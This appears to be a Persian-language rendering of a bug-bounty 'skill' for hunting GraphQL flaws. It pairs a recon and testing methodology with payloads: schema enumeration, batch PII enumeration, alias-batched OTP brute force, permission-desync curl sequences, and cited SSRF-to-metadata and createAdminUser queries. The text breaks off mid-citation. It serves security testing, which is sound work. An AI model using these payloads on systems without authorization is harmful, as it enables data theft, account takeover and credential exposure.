hunt-graphql

skillupstreamکلاس آسیب‌پذیریگزارش: ۲۶۲۰ کیلوبایت۱۰ بخش

اسکیل کلاس آسیب‌پذیری برای GraphQL — استخراج‌شده از ۱۲ گزارش عمومی باگ‌بانتی در IDOR از طریق `node()` / GID، IDOR روی mutation از جمله قابلیت‌های AI/LLM، IDOR میان‌مستأجری، SSRF از طریق آرگومان، DoS با batching، دورزدن query-cost، SQLi از طریق آرگومان، authorization شکسته در سطح شی و دورزدن auth از طریق mutation بدون-scope. وقتی روی هر هدفی شکار GraphQL می‌کنی از آن استفاده کن.

توضیح انگلیسی اصلی (مرجع)

Hunting skill for graphql vulnerabilities. Built from 12 public bug bounty reports across IDOR via node() / GID, mutation IDOR including AI/LLM features, cross-tenant IDOR, SSRF via argument, batching-DoS, query-cost-bypass, SQLi via argument, broken-object-level-authz, auth-bypass via unscoped mutations, and PII exposure from missing field-level authz. Use when hunting graphql on any target.

فلوی اجرای گام‌به‌گام

◆
hunt-graphqlشروع اجرا
۱
‏endpoint را کشف کن — bundleهای JS را spider بزن، `/graphql` و `/api/graphql` را چک کن، hitهای passive scan مربوط به Burp را برای POST مربوط به `application/json` با فیلدهای query مرور کن
۲
‏introspection را تست کن — query کامل introspection را بفرست. حتی اگر بلاک شد، enumerate کردن در سطح فیلد را امتحان کن:
۳
‏schema کامل را نقشه کن — از `InQL` ‏(اکستنشن Burp) یا `graphql-voyager` برای تجسم روابط استفاده کن. خصوصاً دنبال:
۴
‏هم‌پوشانی REST/GraphQL را شناسایی کن — هر منبعی که از هر دو مسیر REST و GraphQL قابل‌تغییر است مستند کن. این سطوح dual-write هدف RC تو هستند.
۵
‏مرزهای authorization را به‌ازای هر mutation تست کن — mutationها را به‌عنوان کاربر کم‌امتیاز replay کن. آیا سرور همان authz مربوط به فراخوانی REST معادل را اعمال می‌کند؟
۶
‏desync مربوط به state میان‌API را شکار کن — دنبال توالی‌هایی بگرد که:
۷
‏ماندگاری امتیاز پس از تغییر نقش/عضویت را تست کن — کاربر را از طریق REST حذف کن، بعد mutation مربوط به GraphQL همان منبع را صدا بزن. state فعلی را از هر دو API بخوان و مقایسه کن.
۸
‏IDOR را در node IDها پروب کن — IDهای سراسری GraphQL غالباً نوع شی + ID را encode می‌کنند. IDها را میان مرزهای شی و میان کانتکست‌های اکانت عوض کن.
۹
‏سوءاستفاده‌ی batch query را چک کن — آرایه‌ای از operationها بفرست برای دورزدن rate limiting یا تقویت enumerate کردن.
۱۰
‏زنجیره‌ی بازتولید دقیق را مستند کن — برای باگ‌های RC، گام‌های مبتنی‌بر زمان باید به‌صورت قطعی بازتولید شوند.
۱۱
‏مهاجم همین الان چه کار می‌تواند بکند؟
۱۲
‏قربانی چه چیزی از دست می‌دهد؟
۱۳
‏از صفر در ۱۰ دقیقه بازتولید می‌شود؟
✓
پایان — اعتبارسنجی و گزارش

ترتیب مرحله‌ای استخراج‌شده از بخش‌های متدولوژی/اعتبارسنجی — ۱۳ گام؛ گام‌های شرطی با «؟ تصمیم» مشخص شده‌اند.

نقشه‌ی ساختار اسکیل

hunt-graphqlکلاس آسیب‌پذیری · ۱۰ بخش۱اهداف ارزشمند۲سطح حمله و سیگنال‌ها۳مراحل شکار۴Payload و الگوهای تشخیص۵علل ریشه‌ای۶تکنیک‌های Bypass۷دروازه‌ی اعتبارسنجی۸اهداف ارزشمند۹نمونه‌های واقعی و impact۱۰دروازه‌ی اعتبارسنجی
اهداف ارزشمند · ۳سطح حمله و سیگنال‌ها · ۱مراحل شکار · ۳Payload و الگوهای تشخیص · ۱علل ریشه‌ای · ۱تکنیک‌های Bypass · ۱

روی هر گره کلیک کنید تا به بخش مربوطه بروید؛ دکمه‌ی «سورس MD» در هدر هر بخش، متن اصلی را با شماره‌ی خط می‌آورد.

بخش‌های اسکیل

هر بخش با عنوان فارسی، نوع محتوا و توضیح فارسی نمایش داده شده. روی «سورس MD» کلیک کنید تا متن اصلی انگلیسی با شماره‌ی خطوط فایل در نمایشگر کناری باز شود.

۱

اهداف ارزشمند

Crown Jewel Targets
ترجمه‌ی کامل ✓بخش ۱ از ۱۰

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

آسیب‌پذیری‌های GraphQL باارزش‌اند چون سطح حمله هم پهناور است هم عمیق — یک endpoint تکی می‌تواند کل مدل‌های داده، مسیرهای افزایش امتیاز و confusion مربوط به state میان‌API را لو بدهد. بالاترین پرداخت‌ها در این‌هاست:

  • ‏APIهای پلتفرم (GitHub، Shopify، اهداف در سطح Stripe) جایی که mutationهای GraphQL با APIهای REST روی همان منابع کار می‌کنند
  • ‏Race condition بین mutationهای GraphQL و endpointهای REST جایی که همگام‌سازی state غیراتمیک است — این‌ها پیوسته severity مربوط به medium تا high می‌گیرند
  • ‏باگ‌های ماندگاری authorization جایی که state مربوط به عضویت تیم/org/repo توسط یک API کنترل ولی توسط API دیگر خوانده/نوشته می‌شود
  • ‏پلتفرم‌های SaaS مربوط به B2B جایی که تأثیر یک tenant روی دیگری از طریق پیمایش schema برابر critical است
  • ‏endpointهای GraphQL مربوط به admin داخلی که تصادفاً به کاربران کم‌امتیاز درمعرض‌اند

گزارش‌های GitHub الگوی جواهر تاج را نشان می‌دهند: امتیازی که باید لغو می‌شد ماندگار می‌ماند چون دو API روی حقیقت واحد توافق ندارند.

۲

سطح حمله و سیگنال‌ها

Attack Surface Signals
ترجمه‌ی کامل ✓بخش ۲ از ۱۰

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

‏الگوهای URL:

/graphql
/api/graphql
/v1/graphql
/query
/gql
/graph
/api/v2/graphql
/internal/graphql

‏هدرهای پاسخ:

Content-Type: application/json  (with query body)
X-Request-Id + no REST-style path params = likely GraphQL

‏الگوهای سورس JavaScript:

// grep for these in JS bundles
"query {"
"mutation {"
"__typename"
"apollo"
"ApolloClient"
"graphql-tag"
"gql`"
"operationName"
"GRAPHQL_URI"

‏سیگنال‌های پشته‌ی فنی:

  • ‏‏Apollo Server/Client در bundleهای JS
  • ‏‏Relay در اپ‌های React
  • ‏‏graphene یا strawberry ‏(Python)، graphql-ruby، gqlgen ‏(Go)، Lighthouse ‏(Laravel)
  • ‏requestهای POST با body به شکل {"query": "..."} در history مربوط به Burp
  • ‏‏__schema یا __type در هر پاسخ = GraphQL تأییدشده

‏منابع recon:

  • ‏جستجوی github.com: "graphql" site:target.com
  • ‏‏Wayback Machine برای مسیرهای /graphql
  • ‏اسکن bundle مربوط به JS با LinkFinder یا getallurls
۳

مراحل شکار

Step-by-Step Hunting Methodology
ترجمه‌ی کامل ✓بخش ۳ از ۱۰

روش‌شناسی گام‌به‌گام اجرای تکنیک از شناسایی تا اعتبارسنجی

  1. ‏endpoint را کشف کن — bundleهای JS را spider بزن، /graphql و /api/graphql را چک کن، hitهای passive scan مربوط به Burp را برای POST مربوط به application/json با فیلدهای query مرور کن
  1. ‏introspection را تست کن — query کامل introspection را بفرست. حتی اگر بلاک شد، enumerate کردن در سطح فیلد را امتحان کن:
{ __typename }

اگر جواب داد، introspection ممکن است جزئی بلاک باشد ولی schema قابل‌کشف است

  1. ‏schema کامل را نقشه کن — از InQL ‏(اکستنشن Burp) یا graphql-voyager برای تجسم روابط استفاده کن. خصوصاً دنبال:
  • ‏mutationهایی که مالکیت، مجوز یا عضویت را تغییر می‌دهند
  • ‏mutationهایی که قابلیت API مربوط به REST را آینه می‌کنند
  1. ‏هم‌پوشانی REST/GraphQL را شناسایی کن — هر منبعی که از هر دو مسیر REST و GraphQL قابل‌تغییر است مستند کن. این سطوح dual-write هدف RC تو هستند.
  1. ‏مرزهای authorization را به‌ازای هر mutation تست کن — mutationها را به‌عنوان کاربر کم‌امتیاز replay کن. آیا سرور همان authz مربوط به فراخوانی REST معادل را اعمال می‌کند؟
  1. ‏desync مربوط به state میان‌API را شکار کن — دنبال توالی‌هایی بگرد که:
  • ‏اقدام REST باید دسترسی را لغو کند
  • ‏mutation مربوط به GraphQL آن را بازمی‌گرداند یا حفظ می‌کند
  • ‏ترتیب را تست کن: اول REST ← GraphQL ← state را چک کن؛ بعد اول GraphQL ← REST ← state را چک کن
  1. ‏ماندگاری امتیاز پس از تغییر نقش/عضویت را تست کن — کاربر را از طریق REST حذف کن، بعد mutation مربوط به GraphQL همان منبع را صدا بزن. state فعلی را از هر دو API بخوان و مقایسه کن.
  1. ‏IDOR را در node IDها پروب کن — IDهای سراسری GraphQL غالباً نوع شی + ID را encode می‌کنند. IDها را میان مرزهای شی و میان کانتکست‌های اکانت عوض کن.
  1. ‏سوءاستفاده‌ی batch query را چک کن — آرایه‌ای از operationها بفرست برای دورزدن rate limiting یا تقویت enumerate کردن.
  1. ‏زنجیره‌ی بازتولید دقیق را مستند کن — برای باگ‌های RC، گام‌های مبتنی‌بر زمان باید به‌صورت قطعی بازتولید شوند.
مراحل استخراج‌شده
  1. ۱‏endpoint را کشف کن — bundleهای JS را spider بزن، `/graphql` و `/api/graphql` را چک کن، hitهای passive scan مربوط به Burp را برای POST مربوط به `application/json` با فیلدهای query مرور کن
  2. ۲‏introspection را تست کن — query کامل introspection را بفرست. حتی اگر بلاک شد، enumerate کردن در سطح فیلد را امتحان کن:
  3. ۳‏schema کامل را نقشه کن — از `InQL` ‏(اکستنشن Burp) یا `graphql-voyager` برای تجسم روابط استفاده کن. خصوصاً دنبال:
  4. ۴‏mutationهایی که مالکیت، مجوز یا عضویت را تغییر می‌دهند
  5. ۵‏mutationهایی که قابلیت API مربوط به REST را آینه می‌کنند
  6. ۶‏هم‌پوشانی REST/GraphQL را شناسایی کن — هر منبعی که از هر دو مسیر REST و GraphQL قابل‌تغییر است مستند کن. این سطوح dual-write هدف RC تو هستند.
  7. ۷‏مرزهای authorization را به‌ازای هر mutation تست کن — mutationها را به‌عنوان کاربر کم‌امتیاز replay کن. آیا سرور همان authz مربوط به فراخوانی REST معادل را اعمال می‌کند؟
  8. ۸‏desync مربوط به state میان‌API را شکار کن — دنبال توالی‌هایی بگرد که:
  9. ۹‏اقدام REST باید دسترسی را لغو کند
  10. ۱۰‏mutation مربوط به GraphQL آن را بازمی‌گرداند یا حفظ می‌کند
  11. ۱۱‏ترتیب را تست کن: اول REST ← GraphQL ← state را چک کن؛ بعد اول GraphQL ← REST ← state را چک کن
  12. ۱۲‏ماندگاری امتیاز پس از تغییر نقش/عضویت را تست کن — کاربر را از طریق REST حذف کن، بعد mutation مربوط به GraphQL همان منبع را صدا بزن. state فعلی را از هر دو API بخوان و مقایسه کن.
  13. ۱۳‏IDOR را در node IDها پروب کن — IDهای سراسری GraphQL غالباً نوع شی + ID را encode می‌کنند. IDها را میان مرزهای شی و میان کانتکست‌های اکانت عوض کن.
  14. ۱۴‏سوءاستفاده‌ی batch query را چک کن — آرایه‌ای از operationها بفرست برای دورزدن rate limiting یا تقویت enumerate کردن.
۴

Payload و الگوهای تشخیص

Payload & Detection Patterns
ترجمه‌ی کامل ✓بخش ۴ از ۱۰

دستورها، payloadها و الگوهای قابل‌اجرا برای تست تکنیک

‏Query کامل introspection:

{
  __schema {
    types {
      name
      fields {
        name
        type {
          name
          kind
        }
      }
    }
  }
}

‏پروب حداقلی introspection (تلاش دورزدن):

{ __typename }

‏تست introspection با curl:

curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -d '{"query":"{ __schema { queryType { name } } }"}' | jq .

‏پروب پیشنهاد فیلد (دورزدن بلاک introspection کور):

{ unknownField }

اگر پاسخ "Did you mean: [realFieldName]?" برگرداند — schema با وجود غیرفعال‌بودن introspection قابل‌شمارش است.

‏تقویت batch query:

[
  {"query": "{ user(id: 1) { email } }"},
  {"query": "{ user(id: 2) { email } }"},
  {"query": "{ user(id: 3) { email } }"}
]

‏ربودن subscription (دسترسی به کانال کاربر دیگر):

subscription { messageAdded(channelId: "OTHER_USERS_CHANNEL") { content sender { email } } }

اگر subscriptionها scoping به‌ازای هر کاربر نداشته باشند، مهاجم می‌تواند رویدادهای real-time کانال یا مکالمه‌ی کاربر دیگر را دریافت کند.

‏بروت‌فورس OTP/2FA چندکدی از طریق batching با alias:

mutation {
  v1: verifyOtp(code:"000001"){token}
  v2: verifyOtp(code:"000002"){token}
  v3: verifyOtp(code:"000003"){token}
}

یک request تکی GraphQL همان mutation را با کدهای OTP متفاوت alias می‌کند. در ترکیب با HTTP موازی، این محدودیت per-request مربوط به rate را شکسته و تلاش‌های بروت‌فورس را در رفت‌وبرگشت‌های شبکه‌ی کمتر فشرده می‌کند.

‏الگوی تست desync مربوط به RC (شبه‌توالی):

# Step 1: Grant access via REST
curl -X PUT https://api.target.com/repos/ORG/REPO/teams/TEAM \
  -H "Authorization: token ADMIN_TOKEN" \
  -d '{"permission":"admin"}'

# Step 2: Revoke via REST
curl -X DELETE https://api.target.com/repos/ORG/REPO/teams/TEAM \
  -H "Authorization: token ADMIN_TOKEN"

# Step 3: Re-assert via GraphQL mutation
curl -X POST https://api.target.com/graphql \
  -H "Authorization: bearer ATTACKER_TOKEN" \
  -d '{"query":"mutation { updateTeamsRepository(input: {repositoryId: \"REPO_ID\", teamId: \"TEAM_ID\", permission: ADMIN}) { clientMutationId } }"}'

# Step 4: Verify persistent access
curl https://api.target.com/repos/ORG/REPO/teams \
  -H "Authorization: token ADMIN_TOKEN"

‏grep برای GraphQL در bundleهای JS:

grep -Eo '(query|mutation|subscription)\s+\w+\s*[\({]' bundle.js
grep -Eo '"(/[a-z0-9/_-]*graphql[a-z0-9/_-]*)"' bundle.js

‏ابزار introspection و ممیزی GraphQL:

# InQL (Burp extension) — visualize GraphQL schema and relationships
inql -t https://target/graphql --generate-queries

# Clairvoyance — brute-force field names when introspection is disabled
python3 clairvoyance.py -u https://target/graphql -H "Authorization: Bearer TOKEN" -w wordlist.txt -o schema.json

# GraphQL Cop — scan for common misconfigurations (introspection enabled, no depth limits, etc.)
graphql-cop -t https://target/graphql
۵

علل ریشه‌ای

Common Root Causes
ترجمه‌ی کامل ✓بخش ۵ از ۱۰

ریشه‌های کدنویسی و طراحی که این باگ را می‌سازند — با مقایسه‌ی کد آسیب‌پذیر/امن

  1. ‏Dual-write بدون قفل اتمیک — توسعه‌دهندگان همان تغییر منبع را مستقل در REST و GraphQL پیاده می‌کنند. هیچ سیستمی خبر ندارد دیگری برای آن منبع وجود دارد. به‌روزرسانی‌های state سریالیزه یا مقایسه نمی‌شوند.
  1. ‏middleware مربوط به authorization ناسازگار — endpointهای REST از یک لایه‌ی auth می‌گذرند (مثل زنجیره‌ی middleware)، resolverهای GraphQL از چک متفاوت در سطح resolver. همان اقدام، enforcement متفاوت.
  1. ‏GraphQL به‌عنوان مهاجرت «REST جدید» — تیم‌ها mutationهای GraphQL می‌افزایند که قابلیت REST را بدون ممیزی مدل مجوز آینه می‌کنند. نسخه‌ی GraphQL کم‌رسیده‌تر است و چک‌هایی که نسخه‌ی REST در طول زمان انباشته بود رد می‌کند.
  1. ‏Introspection روشن‌مانده در production — تنظیمات پیش‌فرض فریم‌ورک (Apollo، Graphene) introspection را در همه‌ی محیط‌ها فعال می‌کند. توسعه‌دهندگان یادشان می‌رود خاموشش کنند و آن را «فقط مستندات» می‌دانند.
  1. ‏اعتماد به Node ID بدون authorization مجدد — IDهای سراسری GraphQL ‏(base64("ObjectType:123")) رمزگشایی و بدون تأیید اینکه کاربر درخواست‌کننده به آن شی مشخص دسترسی دارد اعتماد می‌شوند.
  1. ‏اثرات جانبی mutation آینه نشده — وقتی اقدام REST اثرات آبشاری trigger می‌کند (مثل حذف تیم که به لغو مجوزها آبشار می‌شود)، mutation معادل GraphQL همان آبشارها را trigger نمی‌کند.
۶

تکنیک‌های Bypass

Bypass Techniques
ترجمه‌ی کامل ✓بخش ۶ از ۱۰

نگاشت دفاع ← دورزدن و payloadهای جایگزین برای کنترل‌های شناخته‌شده

‏دفاع: introspection غیرفعال

  • ‏دورزدن از طریق خطاهای پیشنهاد فیلد — نام فیلدهای نامعتبر بفرست و پاسخ‌های «did you mean X?» را parse کن
  • ‏از clairvoyance برای بروت‌فورس نام فیلدها روی wordlist استفاده کن
  • ‏bundleهای JS را برای رشته‌های query هاردکدشده که schema را لو می‌دهند چک کن

‏دفاع: محدودیت عمق

  • ‏fragment spread برای افزایش عمق مؤثر بدون خوردن به محدودکننده:
fragment F on User { repos { teams { members { ...F } } } }

‏دفاع: rate limiting به‌ازای هر IP

  • ‏از عملیات batch استفاده کن (آرایه‌ای از queryها در یک POST)
  • ‏در میان sessionهای احرازهویت‌شده توزیع کن

‏دفاع: چک‌های auth روی mutationها

  • ‏با توکن‌های سطوح امتیاز مختلف تست کن (viewer، member، admin)
  • ‏بدون احراز هویت تست کن — بعضی mutationها اصلاً session را چک نمی‌کنند
  • ‏با توکن‌های سازمان‌های متفاوت تست کن — IDOR چندمستأجری

‏دفاع: WAF که __schema را بلاک می‌کند

  • ‏فیلد introspection را alias کن:
{ s: __schema { t: types { n: name } } }
  • ‏از HTTP parameter pollution یا هدرهای content-type جایگزین استفاده کن

‏دفاع: allowlist مربوط به operation (persisted queryها)

  • ‏چک کن آیا سرور وقتی hash مربوط به extensions.persistedQuery نمی‌خورد به queryهای ad-hoc fallback می‌کند
  • ‏دنبال endpoint خارج‌از-allowlist بگرد (dev، staging، proxy داخلی)
Batching با alias: چه‌وقت race را می‌برد و چه‌وقت نه

ادعای رایج این است که «batching با alias محدودیت per-user مربوط به rate و محافظت‌های double-spend را شکسته می‌کند». اینکه واقعاً جواب می‌دهد یا نه به مدل اجرای resolver بستگی دارد:

نوع resolverرفتار روی mutationهای alias‌شدهآیا batching با alias race را می‌برد؟
چندرشته‌ای / async با batch مربوط به DataLoaderaliasها هم‌زمان اجرا می‌شوند، state را از طریق batch به اشتراک می‌گذارندبله — یک request تکی HTTP می‌تواند هدف race را N برابر تقویت کند
تک‌رشته‌ای / تک‌اتصال-DB به‌ازای هر requestaliasها سریالی اجرا می‌شوند؛ mutation اول در را می‌بنددنه — با HTTP موازی ترکیب کن
gateway توزیع‌شده (Apollo Federation)sub-queryها هم‌زمان به subgraphها dispatch می‌شوندبه هر subgraph بستگی دارد

‏نمونه‌ی تأیید (resolver تک‌رشته‌ای Flask + SQLite):

  • ‏۱۰ mutation مربوط به redeemCoupon با alias در یک request ← فقط r1 موفق، r2-r10 با already_redeemed شکست می‌خورند. batching با alias به‌تنهایی کافی نیست.
  • ‏همان ۱۰ mutation به‌عنوان ۲۰ POST موازی HTTP ← ۲۰ موفقیت ($۲۰۰۰ از کوپن $۱۰۰).

‏قاعده‌ی اپراتور: batching با alias را primitive مربوط به recon تک‌RTT بدان. برای اکسپلویت هدف race، آن را با حمله‌ی HTTP-موازی / Turbo Intruder تک‌بسته در hunt-race-condition ترکیب کن. تأییدشده در docs/verification/phase2e-jwt-graphql-race.md تست ۱۱ در برابر تست ۱۲.

مراحل استخراج‌شده
  1. ۱‏دورزدن از طریق خطاهای پیشنهاد فیلد — نام فیلدهای نامعتبر بفرست و پاسخ‌های «did you mean X?» را parse کن
  2. ۲‏از `clairvoyance` برای بروت‌فورس نام فیلدها روی wordlist استفاده کن
  3. ۳‏bundleهای JS را برای رشته‌های query هاردکدشده که schema را لو می‌دهند چک کن
  4. ۴‏fragment spread برای افزایش عمق مؤثر بدون خوردن به محدودکننده:
  5. ۵‏از عملیات batch استفاده کن (آرایه‌ای از queryها در یک POST)
  6. ۶‏در میان sessionهای احرازهویت‌شده توزیع کن
  7. ۷‏با توکن‌های سطوح امتیاز مختلف تست کن (viewer، member، admin)
  8. ۸‏بدون احراز هویت تست کن — بعضی mutationها اصلاً session را چک نمی‌کنند
  9. ۹‏با توکن‌های *سازمان‌های متفاوت* تست کن — IDOR چندمستأجری
  10. ۱۰‏فیلد introspection را alias کن:
  11. ۱۱‏از HTTP parameter pollution یا هدرهای content-type جایگزین استفاده کن
  12. ۱۲‏چک کن آیا سرور وقتی hash مربوط به `extensions.persistedQuery` نمی‌خورد به queryهای ad-hoc fallback می‌کند
  13. ۱۳‏دنبال endpoint خارج‌از-allowlist بگرد (dev، staging، proxy داخلی)
  14. ۱۴‏۱۰ mutation مربوط به `redeemCoupon` با alias در یک request ← فقط `r1` موفق، r2-r10 با `already_redeemed` شکست می‌خورند. batching با alias به‌تنهایی کافی نیست.
اسکیل‌های مرتبط:
۷

دروازه‌ی اعتبارسنجی

Gate 0 Validation
ترجمه‌ی کامل ✓بخش ۷ از ۱۰

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

  1. ‏مهاجم همین الان چه کار می‌تواند بکند؟

باید اقدام مشخصی باشد: دسترسی به داده‌ای که نباید ببیند، نگه‌داشت امتیاز پس از لغو، تغییر منابع کاربر دیگر. «schema قابل‌مشاهده است» به‌تنهایی کافی نیست — schema چه چیزی را باز می‌کند؟

  1. ‏قربانی چه چیزی از دست می‌دهد؟

باید دارایی واقعی باشد: محرمانگی داده، یکپارچگی کنترل دسترسی، تضمین‌های امنیتی سازمان. برای الگوی RC: ادمین سازمان تضمین را از دست می‌دهد که حذف تیم همه‌ی دسترسی‌ها را لغو می‌کند. آن نقض قرارداد امنیتی است.

  1. ‏از صفر در ۱۰ دقیقه بازتولید می‌شود؟

برای باگ‌های RC/desync: توالی دقیق curl را بنویس. دوبار اجراش کن. اگر امتیاز به‌صورت قطعی ماندگار ماند (نه ناپایداری وابسته به timing)، قابل‌گزارش است. اگر به شانس timing میلی‌ثانیه‌ای نیاز دارد، پنجره را مستند کن و در ساعات کم‌بار تست کن.

مراحل استخراج‌شده
  1. ۱‏مهاجم همین الان چه کار می‌تواند بکند؟
  2. ۲‏قربانی چه چیزی از دست می‌دهد؟
  3. ۳‏از صفر در ۱۰ دقیقه بازتولید می‌شود؟
۸

اهداف ارزشمند

Real Impact Examples
ترجمه‌ی کامل ✓بخش ۸ از ۱۰

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

‏سناریوی A — Admin مخفی ماندگار پس از حذف تیم (الگوی GitHub)

مهاجمی که قانوناً از طریق عضویت تیم دسترسی admin به repository داشت توسط ادمین org از طریق API مربوط به REST حذف می‌شود. مهاجم پیش از تکمیل حذف، mutation مربوط به updateTeamsRepository در GraphQL را صدا می‌زند تا تیمش را با مجوزهای admin دوباره مرتبط کند. حذف REST و بازاعطای GraphQL یک desync می‌سازند که UI تیم را حذف‌شده نشان می‌دهد ولی state مربوط به GraphQL دسترسی سطح-admin را حفظ می‌کند. مهاجم دسترسی نوشتن مخفی به repository را به‌طور نامحدود نگه می‌دارد — push کردن کد، خواندن secretها در CI/CD — بدون ظاهرشدن در لیست اعضای تیم. این وضع از ممیزی‌های org هم عبور می‌کند.

‏سناریوی B — دسترسی مخفی از طریق race مربوط به انتقال Repo (الگوی GitHub)

مهاجم با دسترسی admin انتقال repository به سازمان دیگر را از طریق API مربوط به REST آغاز می‌کند. در حین یا پس از انتقال، updateTeamsRepository را روی ID مربوط به repo منتقل‌شده فرامی‌خواند. چون mutation مربوط به GraphQL state مربوط به مالکیت فعلی org را سازگار با رویداد انتقال REST اعتبارسنجی نمی‌کند، تیم مهاجم اصلی دسترسی admin روی repoیی را نگه می‌دارد که حالا متعلق به سازمان دیگری است. org گیرنده هیچ دیدی به این انجمن تیم ندارد. مهاجم می‌تواند مالکیت فکری را از سازمانی که هیچ رابطه‌ی مشروعی با آن ندارد بیرون بکشد.

‏سناریوی C — Introspection به‌عنوان پیش‌نیاز reconnaissance (الگوی Shopify)

روی پلتفرمی که introspection عمداً فعال است (طبق قوانین برنامه)، hunter کل schema را نقشه می‌کند و mutationهای مستندنشده برای fulfillmentOrderMove و inventoryAdjust کشف می‌کند که در docs عمومی نیستند. این mutationها IDهای merchant را به‌عنوان آرگومان بدون اعتبارسنجی scoping قابل‌مشاهده در schema می‌پذیرند. این recon مستقیم تست IDOR هدفمند علیه جداسازی داده‌ی merchant-به-merchant را ممکن می‌کند — خود introspection صفر-severity است ولی نقطه‌ی ورود به یافته‌های critical است.

۹

نمونه‌های واقعی و impact

Disclosed Report Citations (Backfill +9 — 2019-2024)
ترجمه‌ی کامل ✓بخش ۹ از ۱۰

سناریوها و گزارش‌های افشاشده که الگوی باگ و اثر واقعی را نشان می‌دهند

کیس‌های واقعی و تأییدشده‌ی باگ‌بانتی / coordinated-disclosure زیر این اسکیل را فراتر از ۳ مرجع داخلی اصلی گسترش می‌دهند. هر کدام زیرکلاس متمایز GraphQL با PoC کارکرده مستندشده در writeup ارجاع‌شده هستند.

  1. ‏HackerOne — افشای داده‌ی محرمانه‌ی کاربر از طریق type مربوط به User در GraphQL ‏(H1 #489146)
  • ‏زیرکلاس: authorization شکسته در سطح فیلد (افشای PII)
  • ‏‏Payload: query مستقیم user(id:...) که email، backup_codes_hash، facebook_user_id، account_recovery_phone_number_verified_at، totp_enabled برمی‌گرداند
  • ‏علت ریشه‌ای: مهاجرت بک‌اند type مربوط به User در GraphQL را بدون authz در سطح فیلد معرفی کرد؛ هر کاربر احرازهویت‌شده می‌توانست PII همه‌ی کاربران را enumerate کند
  • ‏سال: ۲۰۱۹ — $۲۰٬۰۰۰، ۱٬۰۲۸ رأی
  1. ‏HackerOne — IDOR روی mutation مربوط به DestroyLlmConversation (پیش‌انتشار Copilot) ‏(H1 #2218334)
  • ‏زیرکلاس: IDOR روی mutation در قابلیت AI/LLM
  • ‏‏Payload: mutation { destroyLlmConversation(input:{id:"<victim_conv_id>"}) { … } }
  • ‏علت ریشه‌ای: mutation جدید مربوط به مکالمه‌ی LLM بدون decorator مربوط به authorization منتشر شد؛ هر کاربر می‌توانست هر مکالمه را نابود کند
  • ‏سال: ۲۰۲۳ — پیش از لانچ گرفته شد، بدون باونتی (۲۰۲ رأی)
  1. ‏Shopify — IDOR میان‌مستأجری در BillingDocumentDownload ‏(H1 #2207248)
  • ‏زیرکلاس: IDOR روی relay GID میان مستأجرها
  • ‏‏Payload: query { billingDocumentDownload(id:"gid://shopify/BillingInvoice/<other_shop_id>") { url } }
  • ‏علت ریشه‌ای: resolver مربوط به BillingInvoice فروشگاه درخواست‌کننده را authorize کرد ولی تأیید نکرد صورت‌حساب متعلق به همان فروشگاه است
  • ‏سال: ۲۰۲۴ — $۵٬۰۰۰، ۱۷۵ رأی
  1. ‏Shopify — دورزدن rate-limit از طریق هزینه‌ی منفی ‏(H1 #481518)
  • ‏زیرکلاس: سوءاستفاده‌ی محاسبه‌ی query-cost (الگوی خواهر برای batching با alias)
  • ‏‏Payload: query { products(first:-100) { … } } — مقدار first منفی سهم هزینه‌ی query منفی تولید می‌کرد و سطل‌نشتی را هر فراخوانی پر می‌کرد
  • ‏علت ریشه‌ای: محاسبه‌گر query-cost کف را روی صفر نمی‌گذاشت؛ مقادیر منفی از بودجه‌ی مصرف‌شده کم می‌کردند
  • ‏سال: ۲۰۱۹ — $۱٬۰۰۰
  1. ‏Stripe — IDOR میان‌مستأجری از طریق UpdateAtlasApplicationPerson ‏(H1 #1066203)
  • ‏زیرکلاس: IDOR میان‌مستأجری روی mutation
  • ‏‏Payload: mutation { updateAtlasApplicationPerson(input:{personId:"<victim_person_id>", …}) } — افزودن/تغییر هم‌بنیان‌گذار روی اپلیکیشن Stripe Atlas مربوط به merchant دیگر
  • ‏علت ریشه‌ای: mutation فقط به «ادمینِ بعضی merchant بودن» scope می‌شد نه «ادمینِ merchant مالک این person»
  • ‏سال: ۲۰۲۰ — باونتی افشانشده (resolved)
  1. ‏EXNESS — SSRF در query مربوط به allTicks در GraphQL ‏(H1 #1864188)
  • ‏زیرکلاس: SSRF از طریق آرگومان GraphQL
  • ‏‏Payload: query { allTicks(source:"http://169.254.169.254/latest/meta-data/") { … } } — آرگومان source به کلاینت HTTP سمت‌سرور خورانده می‌شد
  • ‏علت ریشه‌ای: فیلد GraphQL آرگومان URL می‌پذیرفت و بدون allowlist مربوط به scheme/host آن را dereference می‌کرد
  • ‏سال: ۲۰۲۳ — $۳٬۰۰۰، ۲۴۹ رأی
  1. ‏EXNESS — DoS با attribute-batching در GraphQL ‏(H1 #2293642)
  • ‏زیرکلاس: DoS از طریق batching / تقویت درخت attribute عمیق روی endpoint بدون‌auth
  • ‏‏Payload: یک request تکی HTTP حاوی N عملیات batch، هر کدام درخت‌های attribute تودرتوی عمیق می‌خواستند، تا OOM مربوط به origin ادامه یافت
  • ‏علت ریشه‌ای: نبود محدودیت query-depth، query-complexity یا batch-size روی /graphql بدون احراز هویت
  • ‏سال: ۲۰۲۴ — باونتی افشانشده (resolved)
  1. ‏GitLab — اتصال runner مخرب از طریق runnerUpdate ‏(CVE-2023-2478) ‏(Advisory)
  • ‏زیرکلاس: دورزدن auth روی mutation / نبود scope مربوط به project
  • ‏‏Payload: mutation { runnerUpdate(input:{id:"<attacker_runner_gid>", associatedProjects:["<victim_project_gid>"]}) }
  • ‏علت ریشه‌ای: runnerUpdate چک نمی‌کرد caller روی project هدف Maintainer دارد — هر کاربر می‌توانست runner مخربش را bind کند و jobهای CI را شکار کند (secretهای build، اجرای کد)
  • ‏سال: ۲۰۲۳ — Critical، CVSS 9.6 (باونتی H1 افشانشده؛ tier مربوط به Critical در GitLab معمولاً $20k–$35k)
  1. ‏AS Watson — دورزدن auth از طریق mutation مربوط به createAdminUser بدون‌محدودیت ‏(HackerOne blog)
  • ‏زیرکلاس: mutation حساس بدون احراز هویت در دسترس (کشف با کمک introspection)
  • ‏‏Payload: mutation { createAdminUser(input:{email:"x@x", role:"ADMIN", password:"…"}) { token } } که پس از enumerate کردن schema از طریق introspection بدون احراز هویت فراخوانی شد
